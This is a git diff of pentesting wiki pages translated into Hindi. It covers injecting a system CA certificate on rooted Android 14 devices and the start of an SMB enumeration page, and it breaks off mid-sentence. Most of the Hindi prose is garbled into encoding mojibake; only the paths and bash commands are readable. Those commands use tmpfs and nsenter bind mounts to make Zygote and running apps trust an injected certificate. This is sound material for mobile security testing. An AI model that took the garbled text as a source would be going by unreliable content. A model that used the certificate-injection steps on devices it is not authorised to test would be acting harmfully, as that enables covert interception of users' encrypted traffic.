рд▓рд╛рдЧреВ рд╣реЛрддреЗ рдереЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, Android 14 рдХреЗ рд╕рд╛рде рд╕реНрдЯреЛрд░реЗрдЬ рд▓реЛрдХреЗрд╢рди рдХреЛ **`/apex/com.android.conscrypt/cacerts`** рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ **`/apex`** рдкрде рдХреЗ рднреАрддрд░ рдЖрддрд╛ рд╣реИ рдФрд░ рдореВрд▓рддрдГ immutable рд╣реИред -APEX cacerts path рдХреЛ writable рдХреЗ рд░реВрдк рдореЗрдВ remount рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рд╡рд┐рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдРрд╕реЗ рдСрдкрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ред рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ unmount рдХрд░рдиреЗ рдпрд╛ temporary file system (tmpfs) рдХреЗ рд╕рд╛рде overlay рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рднреА immutability рдХреЛ рдкрд╛рд░ рдирд╣реАрдВ рдХрд░ рдкрд╛рддреЗ; рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реНрддрд░ рдкрд░ рдХрд┐рдП рдЧрдП рдмрджрд▓рд╛рд╡реЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж рдореВрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрддреА рд░рд╣рддреА рд╣реИрдВред рдпрд╣ рд▓рдЪреАрд▓рд╛рдкрди рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **`/apex`** рдорд╛рдЙрдВрдЯ рдХреЛ PRIVATE propagation рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ **`/apex`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА рд╕рдВрд╢реЛрдзрди рдХрд╛ рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдкрд░ рдкреНрд░рднрд╛рд╡ рдирд╣реАрдВ рдкрдбрд╝рддрд╛ред +`/apex` рдХреЗ cacerts path рдХреЛ writable рдХреЗ рд░реВрдк рдореЗрдВ remount рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдРрд╕реА рдСрдкрд░реЗрд╢рдиреНрд╕ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ред рдпрд╣рд╛рдВ рддрдХ рдХрд┐ directory рдХреЛ unmount рдХрд░рдиреЗ рдпрд╛ рдЙрд╕реЗ tmpfs рдХреЗ рд╕рд╛рде overlay рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рднреА immutability рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдирд╣реАрдВ рдХрд░ рдкрд╛рддреЗ; applications рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реНрддрд░ рдкрд░ рдХрд┐рдП рдЧрдП рдмрджрд▓рд╛рд╡реЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж рдореВрд▓ certificate рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрддреА рд░рд╣рддреА рд╣реИрдВред рдпрд╣ рдордЬрдмреВрддреА рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **`/apex`** рдорд╛рдЙрдВрдЯ рдХреЛ PRIVATE propagation рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ **`/apex`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ рдХрд┐рдП рдЧрдП рдХреЛрдИ рднреА рд╕рдВрд╢реЛрдзрди рдЕрдиреНрдп рдкреНрд░реЛрд╕реЗрд╕реЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рдХрд░рддреЗред -Android рдХреА initialization рдореЗрдВ `init` рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ Zygote рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднреА рд╢реБрд░реВ рдХрд░рддреА рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ application processes рдХреЛ рдПрдХ рдирдП mount namespace рдХреЗ рд╕рд╛рде рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ private **`/apex`** mount рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕ рддрд░рд╣ рдЗрд╕ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдХрд┐рдП рдЧрдП рдкрд░рд┐рд╡рд░реНрддрди рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ рдЕрд▓рдЧ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред +Android рдХреА initialization `init` process рджреНрд╡рд╛рд░рд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ operating system рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ Zygote process рдХреЛ рднреА initiate рдХрд░рддрд╛ рд╣реИред рдпрд╣ process рдирдП mount namespace рдХреЗ рд╕рд╛рде application processes рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ private **`/apex`** mount рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЗрд╕ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдХрд┐рдП рдЧрдП рдмрджрд▓рд╛рд╡ рдЕрдиреНрдп рдкреНрд░реЛрд╕реЗрд╕реЛрдВ рд╕реЗ рдЕрд▓рдЧ-рдерд▓рдЧ рд░рд╣рддреЗ рд╣реИрдВред -рдлрд┐рд░ рднреА, рдЬрд┐рди рд▓реЛрдЧреЛрдВ рдХреЛ **`/apex`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ system-trusted CA рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЙрдирдХреЗ рд▓рд┐рдП рдПрдХ workaround рдореМрдЬреВрдж рд╣реИред рдЗрд╕рдореЗрдВ PRIVATE propagation рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдиреНрдпреБрдЕрд▓реА **`/apex`** рдХреЛ remount рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ writable рдмрди рдЬрд╛рддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **`/apex/com.android.conscrypt`** рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реНрдерд╛рди рдкрд░ рдХреЙрдкреА рдХрд░рдирд╛, **`/apex/com.android.conscrypt`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ unmount рдХрд░рдирд╛ рддрд╛рдХрд┐ read-only рдмрд╛рдзрд╛ рд╣рдЯреЗ, рдФрд░ рдлрд┐рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрд╕рдХреЗ рдореВрд▓ рд╕реНрдерд╛рди рдкрд░ рд╡рд╛рдкрд╕ restore рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рддрд░реАрдХреЗ рдХреЗ рд▓рд┐рдП рддреЗрдЬрд╝ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ system crashes рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрди рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рдкреНрд░рднрд╛рд╡реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `system_server` рдХреЛ restart рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд╕рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ restart рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдПрдХ consistent рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд▓рд╛рддрд╛ рд╣реИред +рдлрд┐рд░ рднреА, рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ workaround рдореМрдЬреВрдж рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ **`/apex`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ system-trusted CA certificates рдХреЛ рдореЙрдбрд┐рдлрд╛рдИ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ **`/apex`** рдХреА PRIVATE propagation рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ remount рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ writable рдмрди рд╕рдХреЗред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **`/apex/com.android.conscrypt`** рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рд▓реЛрдХреЗрд╢рди рдкрд░ рдХреЙрдкреА рдХрд░рдирд╛, рдлрд┐рд░ **`/apex/com.android.conscrypt`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ unmount рдХрд░рдХреЗ read-only constraint рдХреЛ рд╣рдЯрд╛рдирд╛, рдФрд░ рдлрд┐рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдореВрд▓ рд╕реНрдерд╛рди рдкрд░ restore рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ рддрд░реАрдХрд╛ system crashes рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рддреЗрдЬрд╝ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рдорд╛рдВрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрди рдмрджрд▓рд╛рд╡реЛрдВ рдХреЛ system-рд╡реНрдпрд╛рдкреА рдкреНрд░рднрд╛рд╡реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `system_server` рдХреЛ restart рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рд╕рднреА applications рдХреЛ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ restart рдХрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ consistent рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд▓рд╛рддрд╛ рд╣реИред ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -133,24 +132,24 @@ echo "System certificate injected" ``` ### Bind-mounting through NSEnter -1. **Setting Up a Writable Directory**: рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдореМрдЬреВрджрд╛ `non-APEX` system certificate рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рдКрдкрд░ `tmpfs` рдорд╛рдЙрдВрдЯ рдХрд░рдХреЗ рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИред рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +1. **рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗрдЯ рдХрд░рдирд╛**: рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рдореМрдЬреВрджрд╛ non-APEX рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкрд░ `tmpfs` рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рдХреЗред рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Preparing CA Certificates**: рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗрдЯ рдЕрдк рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЬрд┐рди CA рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛ рдЙрдиреНрд╣реЗрдВ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЙрдкреА рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдореЗрдВ рд╕рдВрднрд╡рддрдГ `/apex/com.android.conscrypt/cacerts/` рд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рдХреЙрдкреА рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧрд╛ред рдЗрди рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреА permissions рдФрд░ SELinux labels рдХреЛ рдЙрдкрдпреБрдХреНрдд рд░реВрдк рд╕реЗ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред -3. **Bind Mounting for Zygote**: `nsenter` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдХреЛрдИ Zygote рдХреЗ mount namespace рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИред Zygote, рдЬреЛ Android applications рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ, рдЗрд╕ рдХрджрдо рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдЗрд╕рд▓рд┐рдП рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ рдЖрдЧреЗ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдирдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП CA рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдХрдорд╛рдВрдб рд╣реИ: +2. **Preparing CA Certificates**: Writable directory рдХреА рд╕реЗрдЯрдЕрдк рдХреЗ рдмрд╛рдж, рдЬрд┐рди CA certificates рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ рдЙрдиреНрд╣реЗрдВ рдЗрд╕ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдХреЙрдкреА рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдореЗрдВ default certificates рдХреЛ `/apex/com.android.conscrypt/cacerts/` рд╕реЗ рдХреЙрдкреА рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрди certificates рдХреЗ permissions рдФрд░ SELinux labels рдХреЛ рдЙрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред +3. **Bind Mounting for Zygote**: `nsenter` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, Zygote рдХреЗ mount namespace рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Zygote, рдЬреЛ Android applications рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ, рдХреЗ рд▓рд┐рдП рдпрд╣ рдХрджрдо рдЖрд╡рд╢реНрдпрдХ рд╣реИ рддрд╛рдХрд┐ рдЖрдЧреЗ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдирдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП CA рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдХрдорд╛рдВрдб рд╣реИ: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рд╣рд░ рдирдпрд╛ рдРрдк рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗрдЯрдЕрдк рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ред +рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣рд░ рдирдпрд╛ рдРрдк рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗрдЯрдЕрдк рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ред -4. **рдЪрд▓ рд░рд╣реЗ рдРрдкреНрд╕ рдкрд░ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдирд╛**: рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣реЗ applications рдкрд░ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, `nsenter` рдХрд╛ рдлрд┐рд░ рд╕реЗ рдЙрдкрдпреЛрдЧ рдкреНрд░рддреНрдпреЗрдХ рдРрдк рдХреЗ namespace рдореЗрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдФрд░ рд╕рдорд╛рди bind mount рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрд╡рд╢реНрдпрдХ рдХрдорд╛рдВрдб рд╣реИ: +4. **рдЪрд▓ рд░рд╣реЗ рдРрдкреНрд╕ рдкрд░ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдирд╛**: рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣реЗ рдРрдкреНрд╕ рдкрд░ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, `nsenter` рдХрд╛ рдкреБрдирдГ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдРрдк рдХреЗ namespace рдореЗрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕рдорд╛рди bind mount рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрд╡рд╢реНрдпрдХ рдХрдорд╛рдВрдб рд╣реИ: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХрд╛ - Soft Reboot**: рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдореЗрдВ `init` process (PID 1) рдкрд░ bind mount рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЛ `stop && start` рдХрдорд╛рдВрдб рд╕реЗ soft reboot рдХрд░рдирд╛ред рдпрд╣ рддрд░реАрдХрд╛ рд╕рднреА namespaces рдореЗрдВ рдмрджрд▓рд╛рд╡ рдлреИрд▓рд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдЪрд▓ рд░рд╣реА app рдХреЛ рдЕрд▓рдЧ рд╕реЗ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рдкрдбрд╝реЗрдЧреАред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЛ рдЖрдорддреМрд░ рдкрд░ рдХрдо рдкрд╕рдВрдж рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ reboot рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕реБрд╡рд┐рдзрд╛ рд╣реЛрддреА рд╣реИред +5. **Alternative Approach - Soft Reboot**: рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХрд╛ `init` process (PID 1) рдкрд░ bind mount рдХрд░рдиреЗ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЛ `stop && start` рдХрдорд╛рдВрдбреНрд╕ рд╕реЗ soft reboot рдХрд░рдиреЗ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рддрд░реАрдХрд╛ рд╕рднреА namespaces рдореЗрдВ рдмрджрд▓рд╛рд╡ рдлреИрд▓рд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдЪрд▓ рд░рд╣реЗ app рдХреЛ рдЕрд▓рдЧ рд╕реЗ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рдкрдбрд╝реЗрдЧреАред рд╣рд╛рд▓рд╛рдВрдХрд┐, reboot рдХрд░рдиреЗ рдХреА рдЕрд╕реБрд╡рд┐рдзрд╛ рдХреЗ рдХрд╛рд░рдг рдпрд╣ рддрд░реАрдХрд╛ рдЖрдо рддреМрд░ рдкрд░ рдХрдо рдкрд╕рдВрдж рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -## References +## рд╕рдВрджрд░реНрдн - [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 198af9302..01b94eea6 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -2,63 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} -## **Port 139** +## **рдкреЛрд░реНрдЯ 139** -The _**Network Basic Input Output System**_** (NetBIOS)** рдПрдХ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ local area network (LAN) рдХреЗ рднреАрддрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди, PCs, рдФрд░ Desktops рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдбреЗрдЯрд╛ рдХреЗ рдкреНрд░рд╕рд╛рд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдЙрдирдХрд╛ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЕрдзрд┐рдХрддрдо 16 рд╡рд░реНрдг рддрдХ рдХреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рдЕрд▓рдЧ рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рдЖрд░рдВрдн рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди (client рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реБрдП) 